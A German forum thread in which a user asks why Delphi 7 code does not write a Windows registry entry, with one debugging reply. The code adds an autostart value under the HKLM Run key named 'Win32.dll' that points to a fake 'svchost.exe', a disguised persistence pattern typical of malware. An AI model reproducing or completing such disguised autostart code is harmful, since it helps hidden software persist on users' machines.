Programmieren - alles kontrollieren 4.934 Themen, 20.613 Beiträge

in die registry schreiben...was mache ich falsch?

KoRny Boy / 5 Antworten / Flachansicht Nickles

hi,

mein betriebsystem ist windows xp und ich programmiere in delphi 7 personal edition.

folgender quelltext funktioniert nicht so wie ich möchte. das ist eine fast 1 zu 1 kopie aus der delphi hilfe:


reg:=TRegistry.Create;
reg.RootKey:=HKEy_Local_Machine;
if reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true)
then begin
showmessage('open');
reg.WriteString('Win32.dll','C:\Programme\Internet'
+'explorer\svchost.exe');
reg.CloseKey;
end;
reg.Free;



Es kommt keine Fehlermeldung aber auch kein Eintrag in die Registry.
Was mache ich hier falsch?

gruß
korny boy
Wer anderen eine Grube gräbt ist selbst ein Schwein
bei Antwort benachrichtigen
Borlander KoRny Boy „ja, ich bin administrator....daran liegts nicht.“
Optionen

Also in Deinem zweiten Quelltext fehlt schonmal der Backslash am Anfang des Pfades...

Btw.: Wenn Du das ganze schon aus der Hilfe hast, warum hast Du das try...finally nicht drin gelassen? Das ist schon ganz sinnvoll an dieser Stelle ;-)

bei Antwort benachrichtigen